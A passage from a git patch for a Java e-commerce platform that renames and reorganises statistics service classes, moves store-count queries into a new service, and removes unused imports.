cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; -import cn.lili.modules.statistics.mapper.GoodsStatisticsDataMapper; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.enums.StatisticsQuery; import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; -import cn.lili.modules.statistics.service.GoodsStatisticsDataService; +import cn.lili.modules.statistics.entity.vo.StoreStatisticsDataVO; +import cn.lili.modules.statistics.mapper.StoreFlowStatisticsMapper; +import cn.lili.modules.statistics.service.StoreFlowStatisticsService; import cn.lili.modules.statistics.util.StatisticsDateUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; @@ -26,7 +27,7 @@ import java.util.List; * @since 2020/12/9 11:30 */ @Service -public class GoodsStatisticsDataServiceImpl extends ServiceImpl implements GoodsStatisticsDataService { +public class StoreFlowStatisticsServiceImpl extends ServiceImpl implements StoreFlowStatisticsService { @Override public List getGoodsStatisticsData(GoodsStatisticsQueryParam goodsStatisticsQueryParam, Integer num) { @@ -51,7 +52,17 @@ public class GoodsStatisticsDataServiceImpl extends ServiceImpl getStoreStatisticsData(Page page, QueryWrapper queryWrapper) { + return this.baseMapper.getStoreStatisticsData(page, queryWrapper); + } + /** + * 组织查询条件 + * + * @param goodsStatisticsQueryParam + * @return + */ private QueryWrapper getQueryWrapper(GoodsStatisticsQueryParam goodsStatisticsQueryParam) { QueryWrapper queryWrapper = Wrappers.query(); diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java new file mode 100644 index 00000000..1fb8c7c9 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java @@ -0,0 +1,46 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.lili.modules.statistics.mapper.StoreStatisticsMapper; +import cn.lili.modules.statistics.service.StoreStatisticsService; +import cn.lili.modules.store.entity.dos.Store; +import cn.lili.modules.store.entity.enums.StoreStatusEnum; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.springframework.stereotype.Service; + +/** + * 商品统计业务层实现 + * + * @author Bulbasaur + * @since 2020/12/9 11:30 + */ +@Service +public class StoreStatisticsServiceImpl extends ServiceImpl implements StoreStatisticsService { + + + @Override + public Integer auditNum() { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); + queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.APPLYING.name()); + return this.count(queryWrapper); + } + + @Override + public Integer storeNum() { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); + queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.OPEN.name()); + return this.count(queryWrapper); + } + + @Override + public Integer todayStoreNum() { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); + queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.OPEN.name()); + queryWrapper.ge(Store::getCreateTime, DateUtil.beginOfDay(new DateTime())); + return this.count(queryWrapper); + } + +} diff --git a/framework/src/main/java/cn/lili/modules/store/service/BillService.java b/framework/src/main/java/cn/lili/modules/store/service/BillService.java index c640df26..a068db0b 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/BillService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/BillService.java @@ -66,14 +66,6 @@ public interface BillService extends IService { */ boolean complete(String id); - /** - * 商家待结算数量 - * - * @param billStatusEnum 结算单类型 - * @return 待结算商家数量 - */ - Integer billNum(BillStatusEnum billStatusEnum); - /** * 下载结算单 * @response response diff --git a/framework/src/main/java/cn/lili/modules/store/service/StoreService.java b/framework/src/main/java/cn/lili/modules/store/service/StoreService.java index 578fd291..d25a618d 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/StoreService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/StoreService.java @@ -102,26 +102,6 @@ public interface StoreService extends IService { */ boolean applyThirdStep(StoreOtherInfoDTO storeOtherInfoDTO); - /** - * 获取待审核店铺数量 - * - * @return 待审核店铺数量 - */ - Integer auditNum(); - - /** - * 获取所有店铺数量 - * - * @return 店铺总数 - */ - Integer storeNum(); - - /** - * 获取今天的店铺数量 - * - * @return 今天的店铺数量 - */ - Integer todayStoreNum(); /** * 更新店铺商品数量 diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java index 3b476fda..5e3a286c 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java @@ -201,15 +201,6 @@ public class BillServiceImpl extends ServiceImpl implements Bi return this.update(lambdaUpdateWrapper); } - @Override - public Integer billNum(BillStatusEnum billStatusEnum) { - LambdaUpdateWrapper lambdaUpdateWrapper = Wrappers.lambdaUpdate(); - lambdaUpdateWrapper.eq(Bill::getBillStatus, billStatusEnum.name()); - lambdaUpdateWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), - Bill::getStoreId, UserContext.getCurrentUser().getStoreId()); - return this.count(lambdaUpdateWrapper); - } - @Override public void download(HttpServletResponse response, String id) { diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java index 709d4a60..9a5d1008 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java @@ -272,29 +272,6 @@ public class StoreServiceImpl extends ServiceImpl implements store.setStoreLogo(storeOtherInfoDTO.getStoreLogo()); return this.updateById(store); } - - @Override - public Integer auditNum() { - LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); - queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.APPLYING.name()); - return this.count(queryWrapper); - } - - @Override - public Integer storeNum() { - LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); - queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.OPEN.name()); - return this.count(queryWrapper); - } - - @Override - public Integer todayStoreNum() { - LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); - queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.OPEN.name()); - queryWrapper.ge(Store::getCreateTime, DateUtil.beginOfDay(new DateTime())); - return this.count(queryWrapper); - } - @Override public void updateStoreGoodsNum(String storeId) { //获取店铺已上架已审核通过商品数量 diff --git a/framework/src/test/java/cn/lili/test/RedisLimiterHelperTest.java b/framework/src/test/java/cn/lili/test/RedisLimiterHelperTest.java index b329c27c..936bc736 100644 --- a/framework/src/test/java/cn/lili/test/RedisLimiterHelperTest.java +++ b/framework/src/test/java/cn/lili/test/RedisLimiterHelperTest.java @@ -2,7 +2,7 @@ package cn.lili.test; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.service.OrderItemService; -import cn.lili.modules.statistics.serviceimpl.OrderStatisticsDataServiceImpl; +import cn.lili.modules.statistics.serviceimpl.OrderStatisticsServiceImpl; import org.junit.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.springframework.beans.factory.annotation.Autowired; @@ -28,7 +28,7 @@ public class RedisLimiterHelperTest { private OrderItemService orderItemService; @Autowired - private OrderStatisticsDataServiceImpl orderStatisticsDataService; + private OrderStatisticsServiceImpl orderStatisticsDataService; @Test diff --git a/manager-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsManagerController.java b/manager-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsManagerController.java index 21325245..7849998c 100644 --- a/manager-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsManagerController.java @@ -5,7 +5,7 @@ import cn.lili.common.vo.ResultMessage; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; -import cn.lili.modules.statistics.service.GoodsStatisticsDataService; +import cn.lili.modules.statistics.service.StoreFlowStatisticsService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; @@ -21,22 +21,22 @@ import java.util.List; * @author Bulbasaur * @since 2020/12/9 19:04 */ -@Api(tags = "管理端,商品统计接口") +@Api(tags = "管理端,商品流水统计接口") @RestController @RequestMapping("/manager/statistics/goods") public class GoodsStatisticsManagerController { @Autowired - private GoodsStatisticsDataService goodsStatisticsDataService; + private StoreFlowStatisticsService storeFlowStatisticsService; @ApiOperation(value = "获取统计列表,排行前一百的数据") @GetMapping public ResultMessage> getByPage(GoodsStatisticsQueryParam goodsStatisticsQueryParam) { - return ResultUtil.data(goodsStatisticsDataService.getGoodsStatisticsData(goodsStatisticsQueryParam, 100)); + return ResultUtil.data(storeFlowStatisticsService.getGoodsStatisticsData(goodsStatisticsQueryParam, 100)); } @ApiOperation(value = "获取行业统计列表") @GetMapping("/getCategoryByPage") public ResultMessage> getCategoryByPage(GoodsStatisticsQueryParam goodsStatisticsQueryParam) { - return ResultUtil.data(goodsStatisticsDataService.getCategoryStatisticsData(goodsStatisticsQueryParam)); + return ResultUtil.data(storeFlowStatisticsService.getCategoryStatisticsData(goodsStatisticsQueryParam)); } } diff --git a/manager-api/src/main/java/cn/lili/controller/statistics/MemberStatisticsManagerController.java b/manager-api/src/main/java/cn/lili/controller/statistics/MemberStatisticsManagerController.java index 84af4758..30aed609 100644 --- a/manager-api/src/main/java/cn/lili/controller/statistics/MemberStatisticsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/statistics/MemberStatisticsManagerController.java @@ -4,7 +4,7 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.statistics.entity.dos.MemberStatisticsData; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; -import cn.lili.modules.statistics.service.MemberStatisticsDataService; +import cn.lili.modules.statistics.service.MemberStatisticsService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; @@ -25,11 +25,11 @@ import java.util.List; @RequestMapping("/manager/statistics/member") public class MemberStatisticsManagerController { @Autowired - private MemberStatisticsDataService memberStatisticsDataService; + private MemberStatisticsService memberStatisticsService; @ApiOperation(value = "获取会员统计") @GetMapping public ResultMessage> getByList(StatisticsQueryParam statisticsQueryParam) { - return ResultUtil.data(memberStatisticsDataService.statistics(statisticsQueryParam)); + return ResultUtil.data(memberStatisticsService.statistics(statisticsQueryParam)); } } diff --git a/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java b/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java index 2812e300..472aed29 100644 --- a/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java @@ -10,7 +10,7 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; -import cn.lili.modules.statistics.service.OrderStatisticsDataService; +import cn.lili.modules.statistics.service.OrderStatisticsService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -34,7 +34,7 @@ import java.util.List; @RequestMapping("/manager/statistics/order") public class OrderStatisticsManagerController { @Autowired - private OrderStatisticsDataService orderStatisticsDataService; + private OrderStatisticsService orderStatisticsService; @Autowired private OrderService orderService; @Autowired @@ -44,7 +44,7 @@ public class OrderStatisticsManagerController { @GetMapping("/overview") public ResultMessage overview(StatisticsQueryParam statisticsQueryParam) { try { - return ResultUtil.data(orderStatisticsDataService.overview(statisticsQueryParam)); + return ResultUtil.data(orderStatisticsService.overview(statisticsQueryParam)); } catch (Exception e) { log.error("订单概览统计错误",e); } @@ -55,7 +55,7 @@ public class OrderStatisticsManagerController { @GetMapping public ResultMessage> statisticsChart(StatisticsQueryParam statisticsQueryParam) { try { - return ResultUtil.data(orderStatisticsDataService.statisticsChart(statisticsQueryParam)); + return ResultUtil.data(orderStatisticsService.statisticsChart(statisticsQueryParam)); } catch (Exception e) { log.error("订单图表统计",e); } diff --git a/manager-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsManagerController.java b/manager-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsManagerController.java index 67847cce..01ffd699 100644 --- a/manager-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsManagerController.java @@ -6,7 +6,7 @@ import cn.lili.modules.member.entity.vo.MemberDistributionVO; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OnlineMemberVO; import cn.lili.modules.statistics.entity.vo.PlatformViewVO; -import cn.lili.modules.statistics.service.PlatformViewDataService; +import cn.lili.modules.statistics.service.PlatformViewService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; @@ -27,31 +27,31 @@ import java.util.List; @RequestMapping("/manager/statistics/view") public class ViewStatisticsManagerController { @Autowired - private PlatformViewDataService platformViewDataService; + private PlatformViewService platformViewService; @ApiOperation(value = "流量数据 表单获取") @GetMapping("/list") public ResultMessage> getByPage(StatisticsQueryParam queryParam) { - return ResultUtil.data(platformViewDataService.list(queryParam)); + return ResultUtil.data(platformViewService.list(queryParam)); } @ApiOperation(value = "当前在线人数") @GetMapping("/online/current") public ResultMessage currentNumberPeopleOnline() { - return ResultUtil.data(platformViewDataService.online()); + return ResultUtil.data(platformViewService.online()); } @ApiOperation(value = "会员分布") @GetMapping("/online/distribution") public ResultMessage> memberDistribution() { - return ResultUtil.data(platformViewDataService.memberDistribution()); + return ResultUtil.data(platformViewService.memberDistribution()); } @ApiOperation(value = "在线人数历史(默认48小时)") @GetMapping("/online/history") public ResultMessage> history() { - return ResultUtil.data(platformViewDataService.statisticsOnline()); + return ResultUtil.data(platformViewService.statisticsOnline()); } } diff --git a/seller-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsStoreController.java b/seller-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsStoreController.java index e89475e7..75159dd0 100644 --- a/seller-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/statistics/GoodsStatisticsStoreController.java @@ -5,7 +5,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; -import cn.lili.modules.statistics.service.GoodsStatisticsDataService; +import cn.lili.modules.statistics.service.StoreFlowStatisticsService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; @@ -31,13 +31,13 @@ public class GoodsStatisticsStoreController { * 商品统计 */ @Autowired - private GoodsStatisticsDataService goodsStatisticsDataService; + private StoreFlowStatisticsService storeFlowStatisticsService; @ApiOperation(value = "获取统计列表,排行前一百的数据") @GetMapping public ResultMessage> getByPage(GoodsStatisticsQueryParam statisticsQueryParam) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); statisticsQueryParam.setStoreId(storeId); - return ResultUtil.data(goodsStatisticsDataService.getGoodsStatisticsData(statisticsQueryParam, 100)); + return ResultUtil.data(storeFlowStatisticsService.getGoodsStatisticsData(statisticsQueryParam, 100)); } } diff --git a/seller-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsStoreController.java b/seller-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsStoreController.java index 8187062b..32f11e59 100644 --- a/seller-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/statistics/IndexStatisticsStoreController.java @@ -6,8 +6,8 @@ import cn.lili.common.vo.ResultMessage; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.StoreIndexStatisticsVO; -import cn.lili.modules.statistics.service.GoodsStatisticsDataService; import cn.lili.modules.statistics.service.IndexStatisticsService; +import cn.lili.modules.statistics.service.StoreFlowStatisticsService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; @@ -33,7 +33,7 @@ public class IndexStatisticsStoreController { * 热卖商品统计 */ @Autowired - private GoodsStatisticsDataService goodsStatisticsDataService; + private StoreFlowStatisticsService storeFlowStatisticsService; /** * 首页统计 */ @@ -45,7 +45,7 @@ public class IndexStatisticsStoreController { public ResultMessage> getByPage(GoodsStatisticsQueryParam statisticsQueryParam) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); statisticsQueryParam.setStoreId(storeId); - return ResultUtil.data(goodsStatisticsDataService.getGoodsStatisticsData(statisticsQueryParam, 100)); + return ResultUtil.data(storeFlowStatisticsService.getGoodsStatisticsData(statisticsQueryParam, 100)); } @ApiOperation(value = "获取首页查询数据") diff --git a/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java b/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java index 08035c7b..c36248c6 100644 --- a/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java @@ -11,7 +11,7 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; -import cn.lili.modules.statistics.service.OrderStatisticsDataService; +import cn.lili.modules.statistics.service.OrderStatisticsService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -50,7 +50,7 @@ public class OrderStatisticsStoreController { * 订单统计 */ @Autowired - private OrderStatisticsDataService orderStatisticsDataService; + private OrderStatisticsService orderStatisticsService; @ApiOperation(value = "订单概览统计") @GetMapping("/overview") @@ -58,7 +58,7 @@ public class OrderStatisticsStoreController { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); try { statisticsQueryParam.setStoreId(storeId); - return ResultUtil.data(orderStatisticsDataService.overview(statisticsQueryParam)); + return ResultUtil.data(orderStatisticsService.overview(statisticsQueryParam)); } catch (Exception e) { log.error("订单概览统计错误", e); } @@ -71,7 +71,7 @@ public class OrderStatisticsStoreController { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); try { statisticsQueryParam.setStoreId(storeId); - return ResultUtil.data(orderStatisticsDataService.statisticsChart(statisticsQueryParam)); + return ResultUtil.data(orderStatisticsService.statisticsChart(statisticsQueryParam)); } catch (Exception e) { log.error("订单图表统计错误", e); } diff --git a/seller-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsStoreController.java b/seller-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsStoreController.java index 6ecd7480..dca45408 100644 --- a/seller-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/statistics/ViewStatisticsStoreController.java @@ -5,7 +5,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.PlatformViewVO; -import cn.lili.modules.statistics.service.PlatformViewDataService; +import cn.lili.modules.statistics.service.PlatformViewService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; @@ -27,13 +27,13 @@ import java.util.Objects; @RequestMapping("/store/statistics/view") public class ViewStatisticsStoreController { @Autowired - private PlatformViewDataService platformViewDataService; + private PlatformViewService platformViewService; @ApiOperation(value = "流量数据 表单获取") @GetMapping("/list") public ResultMessage> getByPage(StatisticsQueryParam queryParam) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); queryParam.setStoreId(storeId); - return ResultUtil.data(platformViewDataService.list(queryParam)); + return ResultUtil.data(platformViewService.list(queryParam)); } } From 62b5162c7eb2b388887d2fe153f8efc1905902d9 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 6 Dec 2021 11:02:42 +0800 Subject: [PATCH 037/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E6=97=A0=E6=95=88?= =?UTF-8?q?=E5=BC=95=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../service/AfterSaleStatisticsService.java | 3 -- .../service/BillStatisticsService.java | 8 ----- .../DistributionCashStatisticsService.java | 4 --- .../service/GoodsStatisticsService.java | 1 - .../MemberEvaluationStatisticsService.java | 6 ---- .../service/SeckillStatisticsService.java | 4 --- .../service/StoreFlowStatisticsService.java | 4 +-- .../BillStatisticsServiceImpl.java | 32 ----------------- ...DistributionCashStatisticsServiceImpl.java | 25 ------------- ...MemberEvaluationStatisticsServiceImpl.java | 35 ------------------- .../OrderComplaintStatisticsServiceImpl.java | 29 --------------- .../OrderStatisticsServiceImpl.java | 1 + .../serviceimpl/PlatformViewServiceImpl.java | 1 + .../SeckillStatisticsServiceImpl.java | 4 --- 14 files changed, 3 insertions(+), 154 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java index 1ff782f4..ed5215a0 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java @@ -1,8 +1,5 @@ package cn.lili.modules.statistics.service; -import cn.lili.modules.goods.entity.dos.Goods; -import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; -import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java index 12dc07a8..e2d92099 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java @@ -1,16 +1,8 @@ package cn.lili.modules.statistics.service; -import cn.hutool.core.date.DateTime; import cn.lili.modules.store.entity.dos.Bill; -import cn.lili.modules.store.entity.dto.BillSearchParams; import cn.lili.modules.store.entity.enums.BillStatusEnum; -import cn.lili.modules.store.entity.vos.BillListVO; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; -import org.springframework.cache.annotation.CacheConfig; - -import javax.servlet.http.HttpServletResponse; -import java.util.Date; /** * 结算单统计 diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java index 07983278..ba9e8449 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java @@ -2,11 +2,7 @@ package cn.lili.modules.statistics.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.distribution.entity.dos.DistributionCash; -import cn.lili.modules.distribution.entity.vos.DistributionCashSearchParams; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestParam; /** * 分销佣金统计 diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java index 925a6683..288672f4 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java @@ -3,7 +3,6 @@ package cn.lili.modules.statistics.service; import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; -import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java index 8efb56f2..e2d3d3f5 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java @@ -1,12 +1,6 @@ package cn.lili.modules.statistics.service; import cn.lili.modules.member.entity.dos.MemberEvaluation; -import cn.lili.modules.member.entity.dto.EvaluationQueryParams; -import cn.lili.modules.member.entity.dto.MemberEvaluationDTO; -import cn.lili.modules.member.entity.vo.EvaluationNumberVO; -import cn.lili.modules.member.entity.vo.MemberEvaluationListVO; -import cn.lili.modules.member.entity.vo.MemberEvaluationVO; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; /** diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java index 68cb51f0..fe5d0b81 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java @@ -1,10 +1,6 @@ package cn.lili.modules.statistics.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Seckill; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; -import cn.lili.modules.promotion.entity.vos.SeckillVO; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; /** diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java index 6fa7c491..ed3beb32 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java @@ -1,8 +1,5 @@ package cn.lili.modules.statistics.service; -import cn.lili.modules.goods.entity.dos.Goods; -import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; -import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; @@ -43,6 +40,7 @@ public interface StoreFlowStatisticsService extends IService { /** * 店铺流水 根据店铺 统计 + * * @param page * @param queryWrapper * @return diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java index 5af8f636..e9350d29 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java @@ -1,50 +1,18 @@ package cn.lili.modules.statistics.serviceimpl; -import cn.hutool.core.date.DateTime; -import cn.hutool.core.date.DateUtil; -import cn.hutool.core.io.IoUtil; -import cn.hutool.poi.excel.ExcelUtil; -import cn.hutool.poi.excel.ExcelWriter; -import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.utils.CurrencyUtil; -import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.StringUtils; -import cn.lili.modules.order.order.entity.dos.StoreFlow; -import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; -import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.statistics.mapper.BillStatisticsMapper; import cn.lili.modules.statistics.service.BillStatisticsService; import cn.lili.modules.store.entity.dos.Bill; -import cn.lili.modules.store.entity.dto.BillSearchParams; import cn.lili.modules.store.entity.enums.BillStatusEnum; -import cn.lili.modules.store.entity.vos.BillListVO; -import cn.lili.modules.store.entity.vos.StoreDetailVO; -import cn.lili.modules.store.entity.vos.StoreFlowPayDownloadVO; -import cn.lili.modules.store.entity.vos.StoreFlowRefundDownloadVO; -import 